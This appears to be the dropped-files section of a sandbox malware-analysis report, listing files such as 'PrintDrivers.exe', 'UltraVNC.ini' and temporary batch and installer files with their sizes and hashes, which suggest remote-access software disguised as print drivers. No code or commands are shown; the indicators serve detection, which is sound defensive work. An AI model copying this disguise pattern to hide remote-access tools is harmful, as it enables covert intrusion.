227788193867b2f99a62ae792d91562ad46ea3fa0855cf6ef28fc0de31d43f2e671c6ef50e534f0235f1f663769715bef162913a554e86e581fe05455373623e

Download Submit
C:\Games\PrintDrivers.cmd

Filesize
1KB

MD5
eacc690f71a77685f030bef23b506b91

SHA1
03b911ba997d44028bf515ea44fe4813b4b4a785

SHA256
0f1d30740f2e46b22b86fb01acdabbd02440d7dbebe963a405fb3a5661b23263

SHA512
9870aa4dc699b74bfc8fb53df0c74686913f42ea2321bee39786e5be696fb081e3dfdac1b312f3c439c14e3061f35cefe820ef1ac5c853274ca0c867bf50a54d

Download Submit
C:\Games\PrintDrivers.exe

Filesize
403KB

MD5
29ed7d64ce8003c0139cccb04d9af7f0

SHA1
8172071a639681934d3dc77189eb88a04c8bcfac

SHA256
e48aac5148b261371c714b9e00268809832e4f82d23748e44f5cfbbf20ca3d3f

SHA512
4bdd4bf57eaf0c9914e483e160182db7f2581b0e2adc133885bf0f364123d849d247d3f077a58d930e80502a7f27f1457f7e2502d466aec80a4fbeebd0b59415

Download Submit
C:\Games\UltraVNC.ini

Filesize
1KB

MD5
cb5b8a5789c15957c039ff3ce988c1a2

SHA1
4de9a626f04bc7c619fdb68e5585739855ded2d1

SHA256
a11a72865948a8d6a88df530108c3b8ba3e8b4ac6316ac22443af81fa1c3daf4

SHA512
68dd583237ea70702d76d9a2a607bbb8f2e2a1e4285de347b4e23faa0063b51f20f5a84cbe907ef4c123eba0add1c99cb4f9f1e13ddff97b34bb1e7c18825e32

Download Submit
C:\Games\driverhelp.cmd

Filesize
870B

MD5
fd3b5847ddb8a31413951c0aa870ab95

SHA1
e3e91e3e9fa442cd1937422120de91da87973ddb

SHA256
e4f5e16dfe9bbe6d63f266103c35c0035a2d4014f516420190b7cfafb02b08ad

SHA512
5d8599f7d6f0824ab30118f5680bf89d28c1e7e9de4ed61af9074cb9d339619d59dab8e5818dc93dcf5b27ad9e8a863c5d082f8f829aa8c4a026ec5da2454096

Download Submit
C:\Users\Admin\AppData\Local\Temp\AIECAF1.tmp

Filesize
6.7MB

MD5
e21b2080c98beb0f04307a5a25630e23

SHA1
8fc24ad51e8d61324fe8de1be667862e9238cbbb

SHA256
0dbeaab616c483b81d9e9ed8dda14a3a8f3b024130f8fab840e7b9f3a7b1787e

SHA512
3706fde6569bccb39e2c58e86c60050c73bcdbe5c7eb05849ced33c75b5a1c3b080746c2e27420c6fffcd3497e1b1b6ab87e1b2d371a80fa3ae27851a64cfbea

Download Submit
C:\Users\Admin\AppData\Local\Temp\EXEE9B9.bat

Filesize
369B

MD5
9420ca0a6a4cdeab222688d9883c6c64

SHA1
5d3e4dbef5efd5e433fbc5ba56a8a00b7569ac3a

SHA256
32ab6f70a1c2e712d2f67b7ceffab99324f7783add0aabff4d0b2f77a9b64335

SHA512
aef5ab3960c74c78ae64934d18deddbe7a7813c97042b68dc96006cfe96d7148b5085a3258803c0cb3e96bad6cc370a901e34ce5580e9cc49c639f66fb677787

Download Submit
C:\Users\Admin\AppData\Local\Temp\MSID7A5.tmp

Filesize
997KB

MD5
ec6ebf65fe4f361a73e473f46730e05c

SHA1
01f946dfbf773f977af5ade7c27fffc7fe311149

SHA256
d3614d7bece53e0d408e31da7d9b0ff2f7285a7dd544c778847ed0c5ded5d52f

SHA512
e4d7aafa75d07a3071d2739d18b4c2b0a3798f754b339c349db9a6004d031bf02f3970b030cec4a5f55b4c19f03794b0ce186a303d936c222e7e6e8726fffff7

Download Submit
C:\Windows\Installer\MSIE8C0.tmp

Filesize
418KB

MD5
432827ec55428786a447b3d848d963b7

SHA1
029901586604f3ab1b0bd18868469a96db0ef470

SHA256
5a4e76f840fe7d9872164c6c3ce85f4dd0405e661c04638e0b8a91157398bbf0

SHA512
efe03d3446b07180a12d8cd8d0b6d25dd6da5b445c6d61125b0e81c848a98b78f502a6c7c8c7dfc87b3d5beafdea100ac6580e0d28f2cfb99eda90a19449c226

Download Submit